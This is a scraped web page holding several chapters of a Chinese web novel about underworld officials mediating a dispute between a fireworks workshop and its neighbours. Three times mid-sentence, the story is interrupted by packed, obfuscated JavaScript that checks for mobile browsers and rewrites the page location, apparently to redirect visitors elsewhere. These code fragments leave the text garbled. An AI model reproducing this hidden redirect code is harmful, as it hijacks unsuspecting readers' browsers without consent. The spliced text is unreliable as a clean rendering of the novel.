“什么造反啊!我是说,老板!给你工钱的人,他在哪里呀?”祝平安不得不再次调大音量,几乎贴在大爷耳朵边上喊了。 “哦!原来你们是要还钱啊!我什么时候借给你钱了?怎么我都不记得了,真是人老不中用了,你把钱给我吧!” 祝平安:“……%%&%¥¥¥%&*!!!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936174|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>最后还是龙如烈示意苗妙妙跟祝平安把耳朵捂住走远一点,他深吸口气,站到大爷旁边,气运丹田,吐气开声:“我们是差役,找你老板!!!” 祝平安捂住耳朵都觉得脑袋被震得嗡嗡作响,再看看门大爷,居然还扯着耳朵:“啥?说我懒?” “谁找我啊?”工房内举步走出了一个黝黑的汉子,约莫三十几岁,身量不高,身躯壮的像铁塔。 他两袖挽起,身系围裙,脸上挂着生意人的精明笑容,大步跨过来,跟祝平安等人一一握手:“失礼了,失礼了,我是工坊主的儿子,叫我贺元夕就好。你们别跟田大叔一般见识,他耳朵之前被大炮震聋了,基本啥也听不见。” 他的手又大又厚又温暖,握手真诚有力,祝平安不免对他多了几分好感,但听他这句话,还是忍不住吐槽:“田大爷耳朵不好使,也能做门卫吗?” “嘿你个小丫头!看不起你田大爷?”田大爷鼓起眼睛,“我怎么就不能当门卫了?告诉你,我眼神灵着呢,哪个小偷都别想逃过我的火眼金睛!不信你问我们少东家,我看了五十年的大门,工坊里丢过一件东西没有?” 嗬,您老的耳朵怎么突然又这么灵了? 看出祝平安有点尴尬,贺元夕立刻打圆场:“田大叔虽然耳朵不好,但对坏人坏事坏话都特别敏感,是精英门卫人才。至于应门,我们这小工坊,平常来的都是些老主顾,田大叔都认得他们,一年到头也难得见个生人。不知几位是?” “我是公共安全部特别行动组组长祝平安,这几位都是我们的组员,这是我的证件。”祝平安拿出证件往这位少东家面前一亮,“贺先生,我们进去谈谈?” 总经理办公室,几人分宾主坐下,祝平安把报纸上的信息大概说了一遍:“……居民的意见很大,可能你们工坊需要暂时关闭。” “什么?关闭我们工坊?”贺元夕嚯一下站了起来,“凭什么?” “根据《安全生产法》,烟花工坊属于危险行业,不能离居民区太近,从这个角度来说,您的工坊违法了。”祝平安翻开自己带来的法条,给贺元夕普法。 “岂有此理嘛!”贺元夕怒气冲冲,他来到自己的办公桌前,把文件柜打开,从里面掏出一大叠文件:“这是土地产权证,这是经营许可证,这是危险行业经营证,这是质量安全合格证,这是消防年检证……我们年年安检,证证齐全,月月有安全培训,一百年来从没有出现过一例安全事故,凭什么说我们危险?” 苗妙妙把那一大摞文件打开细查,果然如贺元夕所说,他们的安全管理做的很用心,最近一次的安全检查就在昨天,上面盖的红戳还是新鲜的呢。她一捻纸张,对祝平安点点头:这些都不是伪造的东西。 “您有安全管理意识很好,但不管您安全管理工作做得多好,烟花工坊始终会对居民造成影响吧?”祝平安试图跟贺元夕讲道理,“空气污染,水污染,噪音污染,拥堵问题,这些都是客观存在的呀。” “住的不舒服是吧?那可以不住啊!”贺元夕一撇嘴,“凭什么不让他们搬家,让我关门啊?” “您总要讲道理……” “谁不讲理?”贺元夕一指头指在祝平安鼻尖上,“你搞搞清楚,是我们家先买地开了这个烟花工坊,为了运货方便才修了这条银花街,后来才陆续有人在银花街安家。既然当年搬过来,那应该早就知道这里有烟花工坊,以前不嫌这有污染,现在起什么高调!” “先来后到,这么简单的道理你都不懂?让我们关门,想得美!我们是合法经营,又是这条街的第一家住户,法、理二字我们占得足足的,谁不愿意在这条街住,谁就滚蛋!” 贺元夕气势惊人句句在理,祝平安一时间想不出什么话语反驳,贺元夕也懒得跟他多说,咆哮过后就下了逐客令。 田大爷把祝平安等人被扫地出门,她擦了擦脸上的唾沫星子,悲愤道:“先回去吧。” 74.谁更有理 “总之,我这边查到的情况就是这样,之后我去了商务部、市监部、道路运输部这些地方查证,贺元夕说的话基本属实,他确实是第一家住户,且修筑了银花街,多年来无生产事故,有合法经营许可。居民们明知此地有烟花工坊依然安家在此,之后又认为烟花工坊扰民,我认为这个理由不是很能站得住脚,想要关闭烟花工坊不合理。” 祝平安把自己调查的情况说了一遍,温尔雅便紧跟着说了他今天调查的情况:“我在户政处把报纸上的那十几个人认了出来,确实都是银花街的居民,我跟户政走访了他们,但他们的角度跟贺元夕有所不同。” “首先,这十几个带头的居民并不是当年决定在这里买房的人,而是原屋主的继承人。一百年世事变迁,决定落户在这里的人基本都投胎去了,但把房子留给了儿孙。也就是说现在这的住户,大多不是主动选择跟烟花工坊为邻,而是被动接受。”温尔雅第一句话,就把贺元夕的道理打灭了一半。 “他们认为,即使烟花工坊是第一个住户,但这不意味着这条街是围着烟花工坊转的。时移世易,从前这里算是工厂区,可随着地府扩张,现在银花街居民更多,是不折不扣的居住区了,地府应该遵循后来出台的《安全生产法》,以多数群体为重,不能让他们与烟花工坊为邻。” 唔,听着也有一番道理。祝平安苦恼地抓抓头发,从居民角度来说,他们的诉求也并非胡搅蛮缠。 现在房价这么贵,同等地段的房子价格不是小数目,大约都要六七亿一套,没有家底的人根本买不起,银花街的居民哪有能力搬出去,让烟花工坊关掉对他们来说更有利。 张松鹤把两人今天了解的情况都听完,对祝平安扬扬下巴:“你怎么看?” “我觉得都有道理。”祝平安犹豫半天,最终还是得不出什么结论,“这是城市扩张产生的矛盾,烟花工坊既然落户在此,附近就不应该作为民宅基地出售才对,当时是谁负责的土地出售?” “一百年前的事情了,你找这种后账有什么用?”张松鹤摇摇头,“那时候,地府哪有民宅、商业用地、工业用地的概念,更不会去搞城市规划,那都是近五十年才兴起的玩意。以前都是地卖出去了,地主想干什么都没人管,盖烟花工坊是合法的,盖民宅也是合法的。” “至于《安全生产法》,那是五六年前才出台的东西,拿这个来关闭烟花工坊,属于拿本朝的剑斩前朝的官了,就算是合法也不合情。且条文规定,造成重大安全事故才能关闭工坊,这么多年星雨工坊连个小事故都没有,顶多能劝导迁移,强制关闭是不可能的。” 祝平安忍不住道:“那我明天再去一趟工坊,跟贺先生谈谈迁移的事情?” 温尔雅沉吟道:“暂时不要这么着急吧。迁移是大事,怎么迁,往哪里迁?新地皮在哪里?迁移费用和期间停工造成的损失谁来赔付?就算谈迁移,我们也要把这种方案拟好,否则去了也是白去,人家不可能搭理我们的。” “说的不错。”张松鹤揉揉太阳穴,接着道:“如果要这么做的话,就要快。这一次,银花街的居民不是吓唬我们的。” 他苦笑:“我今天去报社,你们猜接待我的是谁?” 他指指报纸上那张照片的中心:“就是他。羊城晚报的柴编辑,他其实就是这篇报道的撰稿人,也是他发动的居民,共同提出关闭烟花工坊的议案。” 他看着照片,照片里的柴编辑身量不高,细瘦白皙,戴着一副小眼镜,面带微笑,看起来是个软绵绵的角色,说出来的话却一句句都好像带着冰渣子:“张部长,当年《安全生产法》出台时,烟花厂就应该关闭,你们还让它开办到了现在,其实是你们官府的失职。我跟银花街的居民,已经忍的够久了。” “你不要以为我在吓唬你。”柴编辑转着手里的笔,“我就想安安静静的睡个好觉,您要是能让工坊主动歇业,那最好,强制关闭它?也没问题。” 他拿出一摞信件:“您还不知道吧?那期报纸卖的很好,报社收到了很多读者来信,都是写来支持我们银花街居民会的,还有一些致力于保护居民福祉的团队表示愿意加入我们。” “现在,我们的朋友很多,有必要的话,我会采取一切手段……只要能让那家烟花厂关掉。” 张松鹤把今天自己去报社的情况一说,祝平安也没词了,附近的居民想睡个好觉,有什么过分的吗? 柴编辑不同于其他居民,他的手里有舆论作为武器,这一场仗是越发难打了。 张松鹤沉重地叹口气,“先谈谈迁移的事情吧,你俩把情况写清楚,把土地部的人叫来合计一下,拟个方案。最近大家又要辛苦了,做好一个月都回不去家的准备吧。” 啊,这样就不能夜袭温尔雅了~ 明明应该是很严肃认真的时候,祝平安脑海里却不期然冒出了这样一句话,在办公室的时候,上下级不得恋爱的铁律就必须得遵守,两个人很难养什么小火花了。 这样想着,她不由得有点失望,兴许是看出了她的失望,她感觉到有人在桌子下面轻轻捉住了自己的手。 她抬头,温尔雅一手握着笔,另一手垂在桌子下面,非常严肃认真。 她心里一甜,轻轻捏了回去,随后又赶快把手抽回来,装作无事发生。 张松鹤虽然不知道两人的小动作,但直觉就没什么好事情,手掌大力拍两下桌子:“都愣着干什么呢?快点去干活!” 祝平安这才惊醒过来,一溜烟就蹿了出去,温尔雅笑吟吟的起身:“我这就去拟文件。” 张松鹤挥手让他快走,自己起身在办公室里踱步,心头的烦闷躁郁挥之不去,他很想追上那两个人再吼两声,却觉得自己也是莫名其妙。 他垂着头,内心苦涩,已动痴念还不够,现在又要加上一个嗔念吗?仙道渺渺,人道茫茫,今时之变,何日是因?何日又是果? 温尔雅出了门,走出几步,却见祝平安在拐角处等着他,也不说话,只是两只眼睛亮晶晶的。见他走过来,她转身跟他并肩而行,是的,她等在这里,是为了跟他并肩同行一小段路。 暖风吹过走廊,两个人都不说话,他们静静的走着,步伐一致,心中的田野里发出小小的花。 一小段路转瞬即逝,祝平安允许自己在办公室门前停留五秒,这才换出工作时的职业笑容,推门而入。 温尔雅也开始坐下拟方案,脑海里思绪翩飞,一会儿想平安,一会儿又想起他在鬼民登记簿库房看到的东西。 那是一个幽深巨大的房间,入口在地下一层,门前常年有人看守,外加结界保护,任谁也不可能潜入其中。想要进去一次,需要赵处长的盖印批条,外加检验证件,每次进出一次都要签字,将进入时间、所为何事都写的清清楚楚,可谓防范的密不透风。 进入后,只见库房巨大,楼梯向下延伸,几乎没有尽头。鬼民们的档案被封的严严实实,有生之年想必很难看得完,户政处的人教他怎么找到自己需要的文件,这才能高效地找出银花街居民们的资料。 如此看来,想要找机会偷溜进去是不可能的,甚至少了户政处的配合,他连查找资料都难。 温尔雅一边想着一边皱眉,暗着不行,那就只能明着来了,他必须得有一个光明正大的理由才能开库房,可惜,现在他暂时还找不到这种机会。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16940347|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “很难写吗?”祝平安看他皱着眉毛,好奇的凑过来。 “啊……也没有,只是觉得这件事不好描述而已。”温尔雅连忙找了个理由搪塞。不过这句话倒是说到大家心坎里去了,龙如烈跟着附和:“是呀是呀,这件事比桃源雅筑的案子棘手多了!” 祝平安意识深以为然。她之前觉得桃源雅筑的案子难办,现在看来那根本就是新手村任务:有明确的反派,有清晰的对错,只要将反派打倒,拿到爆出来的金币,一切就迎刃而解。 而这个案子就不一样了,公说公有理婆说婆有理,居民没错,烟花工坊也没错,那到底是谁错了呢?她是要帮着烟花厂还是居民? 清汤大老爷也不是那么好当的,祝平安现在只能寄希望于土地部的智慧了。最好划分一块免费的地皮,再免费帮着盖个厂房啥的,最后再免费帮助星雨烟花工坊搬个家。 当然啦,这件事想也不可能。 一天后,土地部的人就来了,是资源整备处的齐处长,一听来龙去脉,他不说立刻站起来就走,也是跟他们打起了官腔:“这个嘛,无论如何,你们的意愿是好的,是为鬼民服务的,我很认可你们的想法,在我能力范围内,也愿意给予你们支持……” 祝平安期待地看着他,他为难地一抿嘴,继续道:“但我们也应该考虑到,这件事落实起来是有一定难度的,我们不能这么草率就下结论,需要经过整个部门细致的讨论才能给出审慎的意见。还有,地皮归我们管,但厂房和迁移的事情不归我们管理,你看是不是先跟住房管理部和交通运输部知会一下?” 祝平安被他绕晕了头,差点就要答应下来,还是温尔雅在桌子底下踢了她一脚,她才忍住没说话。 温尔雅给齐处长斟上一杯茶,把话语接了过来:“齐处长,您别有什么压力,这么大的事情,我知道您一个人做不了主,今天请您来也没有别的意思,就是咨询一下迁移厂址的可行性,您可别跟我们兜圈子啊。” 齐处长刚刚一番忽悠没成功,心下懊恼:“那你到底想问什么?” “这事情归根结底也是土地性质的问题,银花街到底是居民区还是工业区,这件事土地部有定论吗?据我所知,三十年之前贵部就划分了土地性质,对于星雨烟花工坊,贵部门到底是定成工业地块,还是居民地块呢?”温尔雅询问道:“您别嫌我问的冒昧,这烟花工坊是个火药桶,要是拖炸了,咱们谁都担待不起,您理解一下。” 这话问在点上,齐处长肚里不由得大骂起来。 他来之前也看了星雨烟花工坊的资料,偏偏那块地既没有被定成居民地块,也没被定成工业地块,而是被定成了一个非常暧昧的概念:“商用地”。 一个老资历的同事告诉他,这都是前任处长给他留下的隐患。 三十年前,星雨烟花工坊还延续着传统手工业的状态,前店后坊,既搞销售又搞生产,最近几年他们产能跟不上,才全部转为生产工坊。加之烟花工坊的老东家跟前任处长关系不错,一来二去就把土地性质定成了商用地。 这下就尴尬了,若当时定成居民地块,工坊就是违章建筑,一拆完事;若定成工业地,居民就成了无理取闹,也算是有个说法。可偏偏是商用地……理论上可以跟居民区共存的商用地! 温尔雅问出这件事,就是在隐晦地提醒他要直面问题。现在这个含混不清的场面,土地部也有一定的责任,真要出点什么事情,前任处长早就投胎去了,还不是要找他这个现任处长的麻烦? 能一路混上来的人,都知道见风使舵,齐处长脸上立刻热情多了:“理解,理解,咱们现在就详细说说这土地性质的问题……” 75.钉子户 当天,会议一直开了十个小时,等商讨完细节,办公楼里的人基本都走光了,祝平安已经困得哈欠连天,温尔雅送齐处长下楼,就这么五分钟的功夫,祝平安就倒在办公桌上睡着了。 温尔雅不忍心叫醒她,便试着把她抱到另一侧的沙发上睡。他本来没多少信心,但试着一用力,发现自己好像能行。 四个月的打拳跟锻炼也不是白搞的嘛!温尔雅得意地看了看自己的胳膊,那里长了点肌肉,看上去粗了一圈。 温尔雅的心情突然变得很好。 将祝平安放到沙发上,又把一套外袍披在她身上,温尔雅在心里暗暗提醒自己,明天要记得买两张行军床和寝具放在办公室。 望着她的睡颜,他亦忍不住轻轻摸了摸她的头发。 毛刺刺的,像个男孩子一样扎手。 他也很疲惫了,方才那场会议,基本都是他在主导。齐处长是个滑不溜手的老油条,即使明白自己被他拉上了同一条船,仍是能躲就躲,跟他合作就像是跟一个吝啬鬼砍价,一分一毛地往下压,每争取到一点资源,都要耗费无数心力。 他的手滑到了祝平安的脸颊,她的脸颊温热柔软,他的手掌贴上去,便觉得暖洋洋的无比舒服,让他久久不舍得抽出手去。 不行啊,不能这样,他现在应该做的是整理会议记录,正式拟定方案,他多干一点,明天平安就可以少做一点活。温尔雅这样想着,依然在祝平安脸颊边眷恋不去,他只想这样一直看着她,直到天荒地老。 静默了半晌,他起身,把所有的会议记录都拿过来,把桌椅挪了个地,就坐在祝平安身边写他的方案。写两句,就忍不住回一次头,看看她毛绒绒的短发和后脑勺,这让枯燥的工作都变得那么有趣。 第二天,平安起身,就看见温尔雅熬夜写出来的方案放在桌子上,他人就趴在一边,睡得正香。她不忍心打扰温尔雅,便抽出方案自己读了起来。 依照齐处长的意见,目前他们能给星雨烟花工坊提供的条件是一块地,产权70年。 地皮就在羊城西郊,原本是一大片林地,半年前荧惑星君作乱,西郊着火,林地都烧没了,要重新恢复成林地,还需要掏一大笔钱开发,暂时没钱重建,正好拿来给星雨烟花工坊做厂区。 “还不用烧荒了。”这是齐处长的原话。 齐处长虽然有点滑头,业务能力还是有的。这块地平整,面积足够,离城区也不远,紧靠着交通干线,是办厂子的好地点,市价也算是一大笔钱,足可抵得上星雨烟花厂暂时停工的损失。祝平安左看右看,都觉得很有诚意。 出门去食堂打了两份早餐,把温尔雅叫醒吃了饭,祝平安就拿着方案去找星雨烟花工坊了。这一次,为防止再次被扫地出门,她除了带上了全体组员,还把张松鹤也一块拉去了。 人多势众地走到工坊前,好不容易挤开门口拿着喇叭演说的环保团体,跳过地上堆积如山的环保传单和示威者扔的垃圾,这才见到了工坊大门。田大爷倒也没拦他们,祝平安一进去,却傻眼了。 上次她来的时候,工坊中央是个大院子,这次再进去,院子里的变化已经翻天覆地了! 当地先被挖了一道两米深三米宽的壕沟,上面搭着一块木板充作独木桥,越过壕沟,是沙袋垒砌的堤坝,上头还拉着铁丝网,除了没有枪炮,活脱脱就是一个阵地。 祝平安小心踩上木板桥,刚一踩上去,就觉得踏断了什么东西。下一秒,一颗二踢脚爆竹就在壕沟里炸起来,啪啪两声巨响,吓得祝平安一缩脖子。 这爆竹声应该是某种信号,工坊里猛然嘈杂起来,围着围裙、戴着面罩的工人们举起晾衣杆、擀面杖就冲了出来,短短两分钟,大院里就涌出二百多人! 他们好像还早就排练过,一边喊着“有贼人”,一边麻利地找到了自己的位置站好,堤坝后面称得上是三步一岗五步一哨,二百个工人都阴着脸,虎视眈眈地看着她们。 祝平安两腿一软,下意识地回头一看,田大爷哼着小调,悠闲地把大门锁上了。 这是要干啥啊!今天,还能囫囵个的出去吗……? 祝平安哭丧着脸,后悔自己没把拘魂锁带来,她不着痕迹地往温尔雅身边站了站,不管咋说,一定要跟牧师站一起! 关键时刻,还是张松鹤镇定,他上前一步,把大家护在身后,向阵地内扬声喊道:“大家不要紧张,我们是公共安全部的,不是贼人!我们找星雨工坊的东家贺先生有事!” 阵地里,两个打头的人嘀咕了起来:“汪师兄,你看他们是不是来搞破坏的?” “不像,捣乱的应该不敢走前门吧,都是后门进来。要么,是拆迁队?”想到这,汪师兄连忙吩咐人爬上墙头,看祝平安等人身后有没有跟着挖掘机。 确认了没有挖掘机,汪师兄这才放松些:“唐师妹,你去搜一搜他们的身子,要是发现他们带了火种……” 他把手掌竖起来往下一劈:“哼哼,要是敢烧我们的工坊,看我怎么收拾你们!” 唐师妹领命而去,两手叉腰站在阵地前,真是一夫当关万夫莫开:“都把口袋翻出来,一个一个上前,让我检查一下你们有没有带火种!” 幸好大家都没有带火种,顺利通过了唐师妹的安检,祝平安被唐师妹如临大敌的摸前摸后,忍不住问道:“你们这是做什么?这阵仗……没必要吧。” 唐师妹愤愤地一撇嘴:“没必要?那你跟登报纸的人说去,自从那报道发出去,好多小报都跟风骂我们,还有人说自己是环保组织,每天少说也有十五六个人进来闹事,拍照的,写信来骂街的,说我们官商勾结丧良心的,往我们门口泼油漆扔垃圾的,有一次还想往工坊里冲!我们不摆出这个阵势,还能过日子么!” “骂了还不算,有些人实在不懂规矩,这是什么地方?一个小火星就可能引起大爆炸,可好多人都不在意,在附近抽烟点火,烟头到处扔。昨天晚上,要不是田大爷警惕,好悬就引起火灾!吓得师兄差点都病了……” 唐师妹说着说着委屈起来了:“这要是着火,少说百条人命,如果不是这么危险,我们吃饱撑着,把房子挖成这样?不就是怕有人偷偷进来放火么!我们一直规规矩矩做生意,招谁惹谁了?凭什么这么整我们?要让我知道那报道是谁写的,非给他十个大嘴巴子不可!” 祝平安为了柴编辑的生命安全,把嘴巴闭得死紧。唐师妹引着大家到了工坊深处。一个瘦小秃头的老人沉默着在那调试火药,旁边站着贺元夕,看两人的身形五官,绝对有血缘关系。 见又是祝平安等人来,贺元夕冷哼一声,但到底还是提醒:“爹,公共安全部的人来了。” 这就是星雨烟花工坊真正的主人贺大有了,祝平安连忙递上礼品:“贺师傅好,我姓祝,您叫我小祝就好,这次过来,主要是跟您位谈一下工坊的事情。” 贺元夕直接把礼品推回去:“让我们关门,白日做梦,要是谈这个,你请离开吧。” “怎么会呢,上次都是我调查不周,这说错了话。”祝平安赶紧鞠躬道歉,“我回去查过了,你们是合法经营,让你们关门不合理!我们是带着新方案来的,保证不会让你们吃亏!” 贺元夕面色稍霁:“这还像句人话。” 祝平安趁热打铁,又捧了几句贺家父子:“一看您就是规矩的生意人,安全生产意识很强,最近为了防止有人捣乱,都开始排兵布阵了,要是每个从业者都跟您一样这么重视安全问题,那烟花行业都不能叫高危行业了!” 这话贺元夕爱听,连唐师妹都露出几分与有荣焉:“可不是!师父最重视安全了!他常跟我们说,咱们天天跟火药打交道,要是心里没有准头,那就把周边的邻居都给害了!” 唐师妹这么一说,正好给祝平安递来一个绝好的话口:“这话不假,事情都是双向的嘛,居民觉得住在工坊旁边不舒服,工坊在干活的时候想到周边的邻居,也会觉得束手束脚的吧?” 她掰着手指,细细数说:“首先,银花街实在是太窄,都不能并肩行开两辆车,您家运货,光走门前这条街就要小半个时辰,效率多低呀!其次,周边是居民区,大家休息的时候,工坊就不能搞生产,一天要歇十二个小时,要是一天到晚都能开工,那您家的产量肯定能再翻一番!” 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16945957|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几句话倒是说到贺元夕的心坎里去了,星雨烟花是全地府都知名的产品,只有做不过来,没有卖不出去。他也早就想扩大生产,让家里的生意更上一层楼了。 祝平安看他神色松动,连忙将迁移计划和盘托出:“……从银花街迁走,是两相方便的事情。我们知道,要工坊迁走,肯定会给大家造成一些损失。为了表示诚意,我已经在西郊帮你们看了一块地,地方够大,交通方便,远离人烟,非常适合开办工坊。” 祝平安拿出地块资料:“只要您同意迁移,我们可以立刻把这块地送给你们,产权七十年,大概有个一万平方,您绝不会吃亏的!” 话已经说完,祝平安笑眯眯地看着贺元夕。贺元夕是个精明的生意人,她有八成的把握,贺元夕会被那块地给打动的! 果不其然,贺元夕的脸激动的通红,热切的看着老爹,连连催促:“爹,是西郊的一整块地!有了那块地,我们就能扩大生产,还能……” “不搬。”贺师傅将手中卷好的花炮轻轻放下,终于开口说了一句话。 贺元夕被老爹噎的后半句话都卡在喉咙里,祝平安也差点惊呼出来。她开始怀疑,自己在这口沫横飞的说了半天,这老爷子到底听了没有啊? 她期期艾艾地开口:“贺师傅,您先别这么快决定,万事好商量,您有什么条件,只管提出来,我会想办法……” “就是啊爹!你是不是糊涂了,那可是一万平的地啊,按现在的地价估算,也值得三四十亿呢,比咱们家的工坊还值钱!”贺元夕也急了,手舞足蹈地恳求老父。 “值多少,三四十亿?”贺师傅慢条斯理地擦去手上干活时沾的污泥,“你心里就只有钱,钱比你爹娘还重要呢,是吧?” 贺元夕的话再次断在喉咙里,脸也憋红了,这次是气的。 然而祝平安等人围坐在一旁,他不好跟老父亲争吵,只得喘着粗气往凳子上一砸,把一壶凉茶咕咚咚对嘴干了。 祝平安看形势不好,连忙起来打圆场:“慢慢商量,慢慢商量,这是大事,二位也不用急着给答复,你们也跟工人们一块聊聊,想好之后,到公共安全部来找我们就行。我给你们一个地址……” “免了。”说话的还是贺师傅,他踏拉着拖鞋,把地块资料全部给扔到炉火里,“我老头子把话撂在这里,你就是把整个地府都给我,我也不搬!除非我死了,否则别想让我走!” 祝平安这下真是目瞪口呆了,贺元夕的脸气的几乎憋成紫色,再待下去只会越说越僵,她连忙灰溜溜站起来:“那啥,贺师傅你消消气,我们先走了。” 一行人前脚刚出门,就听见屋里传来暴躁的吼声,一听就是两父子顶起了牛。唐师妹送他们出门,祝平安到底还是把地址塞在她手里:“这是给你贺师兄的,请你转交给他。” 唐师妹似有无限心事,低声道:“地契写的是师父的名字,工坊的负责人也是师父,贺师兄做不了主的,要是他能做主,早就搬了,怎么会拖到人人都骂我们……” “没关系,我总要试试。”祝平安好歹还是让她收下了。 又白跑一趟,几人回了公共安全部,个个垂头丧气,龙如烈忍不住道:“那个什么贺师傅,脾气也太怪了!我们的条件开的那么好,他还不满足?” “说不定是还想加价吧。”杜元猜测道。 “他往上喊也没用,这已经是我们能争取到的最佳待遇了。”温尔雅也皱起眉来。祝平安刚要说话,白子欣从办公室门口探出头来:“哦!你们回来了!有个叫柴编辑的刚刚来过,给你留下了这个!” 祝平安打开一看,居然是一条迷你的横幅,上书“草菅人命”,背后则是好几十个签名,除了银花街居民会,还有什么绿芽基金会、纯净天空协会、人居友好社等组织名字,一看就是关注环境保护那一挂的,最下头有一行血红色的大字:倒数第8天。 祝平安拿在手里,欲哭无泪,这是恐吓信吧,这就是传说中的恐吓信没错吧! 一个死了也不搬,一个不搬就一块死,两个怪人怎么就凑一块了!祝平安只觉一阵无力,抱头哀嚎起来:“老天爷呀!饶了我吧!” 76.枪手 “……总之就是这样,你说让我怎么办嘛!”祝平安臭着一张脸,跟里奥大吐苦水。 事情一时间陷入僵局,张松鹤也没什么好的办法,只能用些水磨功夫。一边轮番去烟花工坊协调,一边细查银花街居民会十几个带头人的社会关系,希望从其他方面突破。祝平安总算偷出一点空,这才把里奥的行李送到石将军家。 石将军的家不大,不过三室一厅而已,但是窗明几净,板正的老榆木桌子上盖着玻璃板防尘,沙发、冰箱上都盖着白蕾丝挡灰,茶几上是大搪瓷缸子,这种装修风格在80年代非常常见,给人以温馨怀念的感觉。祝平安坐在沙发上,不知不觉就放松了下来。 温尔雅从厨房出来,端着茶和一盘子洗好的水果。本来石将军要倒茶招待客人,温尔雅却抢先钻进了厨房,表示这些事情都要交给小辈代劳,不能劳动他们。 红黄绿三色小番茄个个水灵灵的,色彩悦目,既美观又可口。里奥丢了一个到嘴里,暗赞一声新鲜,她不着痕迹地看了看茶杯,发现茶有两种,祝平安那杯是冰过的乌龙茶,其余人的都是茉莉花茶。 加冰乌龙,是祝平安的口味,温尔雅能记住这个,算他有心。 有心的人不少,但愿意为此多花时间精力,再折腾一种茶的,就不是一句“有心”可以形容的了。 祝平安似乎也发现了自己的茶水跟别人不一样,里奥看见,她轻轻地拉了一下温尔雅的袖子,像是在撒娇。 果然,孩子大了就得有个人空间,她刚离开几天,眼看着两个人的关系就突飞猛进啊~ 里奥满意地再吃一个小番茄,嗯,酸酸甜甜,是恋爱的味道。 祝平安一口气喝了半杯冰乌龙,才觉得心火压下去了一点:“我是真不知道怎么办了,你有没有什么主意,也帮我出一出,说啥都行,就当帮我打开思路了。” 对这种事情,里奥倒是没啥经验,她用脚尖踢了踢身边的石志坚:“你不是说后来在边疆做过行政官吗,有没有过类似的经验?也分享一下智慧嘛。” 石志坚好笑地看着她,躲开她不老实的脚:“好吧,那我就倚老卖老,讲个我以前遇到过的事情吧。” “那时候,我在管理交通部门,有一阵天天都接到举报,说有一辆车违停,阻碍他家进出。但我们过去一看,那个地方是一片空地,没有规划停车位,不能说是违停,也没有堵塞进出通道。后来,队里的小年轻被举报弄烦了,就通知了车主挪车,让他换个地方停。” “从那之后,果然就没有举报信了。但我再过去看的时候,那个地方还是停着一辆车。” 祝平安好奇道:“为什么这辆车没被举报?” 石将军笑了:“因为那是举报人自己的车。” 祝平安万没想到是这个结局:“啊?这……这……” “很意外是吧?但这就是事实。”石将军端起茶喝了一口,“他之前举报,不是觉得那里停车给他造成不便,而是为了把那片空地清出来,好方便自己停车。” 祝平安无语道:“合着他是把您当枪使啊?” “没错,就是把我当枪使。”石将军还是温和的笑着,“平安,你现在之所以觉得这么难,是因为你认为双方的要求都是合情合理的,你无法拒绝,对不对?” 见祝平安点点头,他又道:“你想让人人的合理诉求都能得到满足,大家都过好自己的小日子,这没错。可有些矛盾不可调和,猫要吃鱼,鱼不想被吃,双方诉求都有合理性,你是要满足猫,还是要满足鱼?” 祝平安慢慢道:“……我明白了,这要看我是养鱼的人,还是养猫的人。” 不愧是四小姐的曾曾外孙女,一样是这么聪慧,一点即通。 石将军笑着看了一眼爱人,为她的优良基因传承下去而高兴:“你的身份只有一个,那就是人民的公仆,不是人民的保姆。别人让你做什么,你就做什么,那不是为人民服务,那叫被人牵着鼻子走。” “平安,我今天托个大,给你一点经验之谈:差役就像是枪手,人人都想驱使他为己所用,有些人会贿赂枪手,也有些人会裹挟枪手,或者利用制度来操纵枪手,你要擦亮眼睛,有自己的判断,看清楚自己手中的枪,对准的是真正的敌人,还是观点不同的朋友。” 石将军的话言尽于此,回家路上,祝平安越是咀嚼,越觉得有道理,不由得怔怔地发愣。温尔雅不禁问道:“在想什么?” “我在想,有些事可能是我们当局者迷了。”祝平安咬着嘴唇,“有点乱,我得慢慢捋捋……” 刚刚那个停车位的事情提醒了她一件事情,即使看似合理的诉求,背后也往往隐藏着一些不为人知的小心机。 既如此,柴编辑的小心机是什么呢? 他的要求很简单,关闭烟花工坊,还居民一个安全的生活环境,但……她现在想来,总觉得有些隐约的不对劲。 三个臭皮匠,顶个诸葛亮,何况温尔雅的脑袋比诸葛亮还好使,肯定强过她一个人瞎猜。她把自己那隐约的感觉说了出来:“快帮我想想,到底哪里不对劲?” 温尔雅沉吟片刻道:“你这么一说,我倒是有个想法。这件事是有些不合理的地方,不是诉求不合理,而是……流程不合理。” 祝平安有点没反应过来:“流程?此话怎讲?” 温尔雅一边思考,一边道:“我举个例子吧,在一个文明社会,是有所谓的办事流程的,假如你的邻居噪音扰民,你会怎么做?” “我会去他家敲门,告诉他小声一些。” “如果他不听你的呢?” “那,我就告诉物业,或者居委会来管理他。” 